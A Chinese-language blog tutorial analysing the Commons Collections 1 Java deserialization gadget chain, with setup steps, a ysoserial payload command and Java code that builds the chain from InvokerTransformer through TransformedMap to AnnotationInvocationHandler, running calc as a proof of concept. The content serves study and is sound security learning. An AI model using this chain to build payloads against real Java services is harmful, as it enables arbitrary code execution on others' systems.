【java安全】反序列化 - CC1链

java安全-反序列化-CC1链

CC1 是「Commons Collections 1」的简称,是 Java 反序列化漏洞中最经典、最基础 的利用链,核心利用 Apache Commons Collections 3.x(≤3.2.1)的漏洞,结合 JDK 自身的类(如 AnnotationInvocationHandler),实现反序列化触发任意代码执行。

前提:

CC1 链能生效的两个必要条件(缺一不可):

依赖 / 环境 要求 原因
Commons Collections 版本 3.2.1(≤3.2.1) 3.2.2 及以上修复了InvokerTransformer的反射调用限制(COLLECTIONS-580)
JDK 版本 8u71 及以下(如 8u65、8u71) 8u71 + 修复了AnnotationInvocationHandlerreadObject触发逻辑(JDK-8145066)

一、准备工作

首先导入依赖commons-collections

XML 复制代码
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

下载jdk1.8u65版本

地址:Java 存档下载 --- Java SE 8 | Oracle 中国

记得不要开翻译,不然点击该版本下载链接会下载到其他版本的jdk

下载sun包源码:

jdk8u/jdk8u/jdk: af660750b2f4 /

将下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65/src(需手动解压src.zip)里

在项目的结构的SDK中的源路径添加刚刚的src目录

下载commons-collections 3.2.1源码:Apache Archive Distribution Directory

将源码解压保存在本地的maven-repo仓库

来到项目,左边随便选择一个commons-collections库的文件,点击右上角的选择源

选择刚刚解压的源码目录即可

二、触发示例

使用ysoserial工具生成cc1链执行calc命令,并保存链到cc1.ser文件内

shell 复制代码
java.exe -jar ysoserial-all.jar CommonsCollections1 calc > cc1.ser

创建一个测试类,写入反序列化指定文件方法deserialize

java 复制代码
package com.qdy;

import java.io.*;

public class CC1Debug {
    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }

    public static Object deserialize(String file) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
        Object o = ois.readObject();
        return o;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        deserialize("cc1.ser");
    }
}

将刚刚生成的恶意文件放入项目根路径后执行以上代码

成功执行指定命令calc

三、链分析

复制代码
InvokerTransformer.transform-》TransformedMap.checkSetValue-》AbstractInputCheckedMapDecorator$MapEntry.setValue-》AnnotationInvocationHandler.readObject

1、InvokerTransformer.transform

InvokerTransformer.transform源码如下

红框中的三行代码实现了类反射

java 复制代码
Class cls = input.getClass();  // 获取对象的类
Method method = cls.getMethod(iMethodName, iParamTypes); // 获取对象类的指定方法
return method.invoke(input, iArgs); // 对指定方法传入值

如果input、iMethodName、iParamTypes、iArgs这四个变量可控的话,即可实现执行任意类的方法

input是InvokerTransformer.transform方法传入的参数,可控

其他三个参数是构造方法传入的参数,也是可控的

按照如上分析可以构造如下代码,实现执行命令

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1Debug {

    public static void main(String[] args) {
        // 传入方法名、方法对应需要传入的类型、命令
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        // 传入对象
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

接下来找一下谁调用了InvokerTransformer.transform

可以发现有80多个结果,不过TransformedMap.checkSetValue才是可控的

2、TransformedMap.checkSetValue

TransformedMap.checkSetValue会调用valueTransformer.transform(value)方法

其中valueTransformer值来源于构造函数,是可控的

然后decorate方法调用了构造方法

但是这样还是没办法调用到checkSetValue方法,查看调用该方法的地方仅有一个

AbstractInputCheckedMapDecorator.MapEntry.setValue

AbstractInputCheckedMapDecorator 类继承AbstractMapDecorator ,而AbstractMapDecorator 实现了接口Map

所以我们想要调用setValue ,直接使用MapentrySet()方法遍历即可使用setValue方法即可

构造这里的链

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1Debug {

    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        HashMap hashMap = new HashMap();
        hashMap.put("a", "b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        // 拿到所有键值对条目:为了调用每个条目的setValue
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue(Runtime.getRuntime());
        }
    }
}

这样就成功利用InvokerTransformer.transform <- TransformedMap.checkSetValue链

接下来就是找入口,查找哪里存在重写了readObject方法的同时调用了setValue方法

3、AnnotationInvocationHandler.readObject

AnnotationInvocationHandler 类就重写了readObject方法,并且调用了steValue方法,所以就以这个类为入口

可以发现memberValues也是可控的,是由构造函数传入的

使用类反射加上前面的代码构造利用链

java 复制代码
package com.qdy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1Debug {
    public static void serialize (Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
        oos.writeObject(obj);
    }
    public static void deserialize () throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.ser"));
        ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );

//        invokerTransformer.transform(Runtime.getRuntime());
        HashMap hashMap = new HashMap();
        hashMap.put("a","b");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null, invokerTransformer);
        transformedMap.put("xxx",Runtime.getRuntime());
        // 获取类
        Class classAih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取构造方法
        Constructor constructor = classAih.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true); // 关闭私有构造的访问检查,允许反射创建实例
        // 实例化
        Object obj = constructor.newInstance(Override.class,transformedMap);
        // 序列化
        serialize(obj);
        // 反序列化
        deserialize();
    }

}
相关推荐
一名优秀的码农5 分钟前
vulhub系列-74-Hackable III(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Goway_Hui14 分钟前
【ReactNative鸿蒙化-三方库使用与C-API集成】
c语言·react native·harmonyos
未来转换28 分钟前
基于A2A协议的生产应用实践指南(Java)
java·开发语言·算法·agent
后端漫漫36 分钟前
Redis 配置文件与服务功能
java·redis
Dwzun37 分钟前
基于Java+SpringBoot+Vue的校园二手物品置换系统设计与实现【附源码+文档+部署视频+讲解】
java·开发语言·spring boot
polaris063043 分钟前
Spring Boot 项目开发流程全解析
java·spring boot·log4j
zuowei28891 小时前
spring实例化对象的几种方式(使用XML配置文件)
xml·java·spring
C、空白格1 小时前
Java集成Vosk实现离线语音识别
java·开发语言·语音识别
阿巴斯甜1 小时前
preProcessHandler: (AppException) -> Boolean用法:
java
♛识尔如昼♛1 小时前
C 基础(14) - 结构和其他数据形式
c语言·结构体